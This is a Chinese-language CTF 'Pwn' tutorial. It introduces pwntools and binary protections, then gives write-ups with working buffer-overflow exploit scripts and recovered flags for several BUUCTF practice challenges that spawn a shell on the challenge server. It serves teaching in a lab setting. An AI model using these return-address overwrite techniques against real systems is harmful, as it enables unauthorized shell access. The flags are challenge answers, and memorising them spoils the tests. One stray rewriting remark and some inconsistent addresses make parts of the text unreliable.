简介
Pwn 二进制漏洞挖掘 ( 建立在二进制逆向的基础之上 ),在CTF比赛中Pwn题的目标是拿到flag,一般是在linux平台下通过二进制/系统调用等方式编写漏洞利用脚本 exp 来获取对方服务器的 shell,然后get到flag。
环境准备
首先用 Python 来编写exp,对于pwn最常用的模块就是 pwntools,可以用以下命令进行安装模块,更多使用方式可以自行查看 pwntools 帮助文档。
pip install pwntools基本使用
from pwn import *
context.log_level = "debug"
local = True
if local:
io = remote("node4.buuoj.cn", 29248) # 向目标主机,对应端口发送连接
else:
io = process("./pwn1") # 本地进行连接调试
payload = "a" * (0xf + 8) + p64(0x401187) # 填充之后,覆盖返回地址,p32, p64打包为二进制;u32, u64解包为二进制
io.sendline(payload) # 发送编写的恶意代码
io.interactive() # 与远程服务器中的 shell 交互得到控制权# 发送 payload
p.send(payload) #发送 payload
p.sendline(payload) #发送 payload,并进行换行(末尾\n)
p.sendafter(some_string, payload) #接收到 some_string 后, 发送你的 payload
p.sendlineafter(some_string, payload) #接收到 some_string 后, 发送你的 payload,加个换行# 接收返回内容
p.recvn(N) #接受 N(数字) 字符
p.recvline() #接收一行输出
p.recvlines(N) #接收 N(数字) 行输出
p.recvuntil(some_string) #接收到 some_string 为止
p.interactive() #直接进行交互,相当于回到shell的模式,一般在取得shell之后使用
asm(shellcraft.sh()) # 生成 shellcodeELF
# 首先需要 elf=ELF('./filename') 来产生一个对象
elf.symbols['a_function'] #找到 a_function 的地址
elf.got['a_function'] #找到 a_function的 got
elf.plt['a_function'] #找到 a_function 的 plt
elf.next(e.search("some_characters")) #找到包含 some_characters 可以是字符串,汇编代码或者某个数值的地址pwn1

RELRO (Read-Only Relocations):该特性可防止对全局偏移量表(GOT)的篡改。开启 RELRO 保护后,动态链接器会将 GOT 设置为只读,从而防止攻击者利用 GOT 漏洞攻击程序。
Stack Canary:该特性是一种堆栈保护机制,可防止栈溢出攻击。当开启栈保护时,程序会在函数返回地址附近放置一个栈保护(canary)值。如果该值被篡改,程序会异常终止,防止栈溢出攻击。
NX (Non-Executable Stack):该特性可防止在程序的栈段执行恶意代码。开启 NX 保护后,程序的栈段不允许执行代码,从而防止栈溢出攻击中植入的 shellcode 执行。
PIE (Position Independent Executable):该特性使程序的代码位置随机化,增加攻击者预测代码位置的难度,从而防止有效攻击。
RWX (Read-Write-Execute):该属性使得程序的部分区域拥有可读、可写、可执行的权限,但同时也会增加程序的安全风险。

尝试运行下程序,看下是否存在缓冲区溢,随便输入字符 a 给它填充,发现果然有问题。

直接进IDA看看吧,一进来就看到这个程序的主入口,里面的代码写的很简单这个题目比较经典。

在这里先确定一下,多少个字节才会溢出,点击s进去查看一下,发现是F那么就是15个字节,只要溢出15个字符并把要跳转的内存地址打进去,就能拿下它了。

可以看到 /bin/bash 字符串的地址是在 0x40186,我们需要让程序执行到这个地址上,现在已经知道了缓冲区的长度限制为 64 个字节,可以利用这个限制构造出一个恰好溢出到 rip 寄存器,来实现程序控制流转移到 /bin/bash 字符串的地址上,好开始编写exp。

尝试利用漏洞进行攻击之前,可以在本地对漏洞进行调试,确保我们的攻击代码的正确性。

根据提供的信息,可以将"很明显成功了"更明确地表达为"根据本地调试的结果,可以确定攻击成功"。
from pwn import *
local = True
if local:
io = remote("node4.buuoj.cn", 4462)
else:
io = process('./pwn1')
offset = 0xF + 8
payload = offset * b'a' + p64(0x0040118A)
io.sendline(payload)
io.interactive()flag{7af2d36e-c44d-4b78-825b-bd53f7d0ba96}pwn2

尝试运行下程序,发现程序给出了一个带有地址的提示,暂时不用管这个,直接输入"a"来进行测试,发现程序是存在缓冲区溢出的。

直接打开IDA反编译软件,打开要分析的程序,直接使用快捷键"F5",查看程序伪代码,经过观察发现,在sprintf函数中有一个名为sub_40060D的函数,我们可以双击该函数,进入其中查看其具体实现内容

根据分析结果,可以发现返回的操作是用来查看文本内容的,而查看的内容正是我们想要的flag。

接着查看v5变量的容量,发现只有64个字节,而代码中没有做长度限制的处理,好直接开始编写代码。

这段代码的过程相对简单,主要是找到需要填充覆盖的位置,使其溢出,然后跳转到我们想要执行的代码地址上。

from pwn import *
local = True
if local:
io = remote("node4.buuoj.cn", 29836)
else:
io = process("./pwn2")
payload = b"a" * 72 + p64(0x40060d)
io.sendline(payload)
io.interactive()flag{4abacf48-1539-4a8a-a595-03cf349c6ff5}ciscn_2019_n_1

main 函数里调用了 func(),func中存在经典 gets() 漏洞,这题逻辑就是输入v1,但判断v2的值是否是11.28125,既然题目判断 v2 的值,那么我们将 v2 的值覆盖成 11.28125 就行了,
11.28125 = 0x41348000

from pwn import *
local = True
if local:
io = remote("node4.buuoj.cn", 56120)
else:
io = process("./ciscn_2019_n_1")
payload = b"a" * (0x30 - 0x4) + p64(0x41348000)
io.send(payload)
io.interactive()flag{5914b0d1-405f-4a5c-b3ea-dc820214342d}算数题
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <unistd.h>
void handler(int signum){
puts("Timeout");
_exit(1);
}
int main()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
signal(SIGALRM, handler);
alarm(90);
unsigned seed = (unsigned)time(NULL);
srand(seed);
unsigned int magic;
printf("Give me the magic number :)\n");
read(0, &magic, 4);
if (magic != 3735928559) {
printf("Bye~\n");
exit(0);
}
printf("Complete 1000 math questions in 90 seconds!!!\n");
for (int i = 0; i < 1000; ++i) {
int a = random() % 65535;
int b = random() % 65535;
int c = random() % 3;
int ans;
switch(c) {
case 0:
printf("%d + %d = ?", a, b);
scanf("%d", &ans);
if (ans != a + b) {
printf("Bye Bye~\n");
exit(0);
}
break;
case 1:
printf("%d - %d = ?", a, b);
scanf("%d", &ans);
if (ans != a - b) {
printf("Bye Bye~\n");
exit(0);
}
break;
case 2:
printf("%d * %d = ?", a, b);
scanf("%d", &ans);
if (ans != a * b) {
printf("Bye Bye~\n");
exit(0);
}
break;
}
}
printf("Good job!\n");
system("sh");
return 0;
}
这题考察如何利用Pwntools进行交互式,自动答题并获取到shell。
from pwn import *
io = process('./pwntools')
io.recvuntil('number :)\n')
p = p32(0xDEADBEEF)
io.send(p)
io.recvline()
for _ in range(1000):
q = io.recvuntil('= ?').decode().replace('= ?', '')
io.sendline(str(eval(q)))
io.interactive()
评论 (0)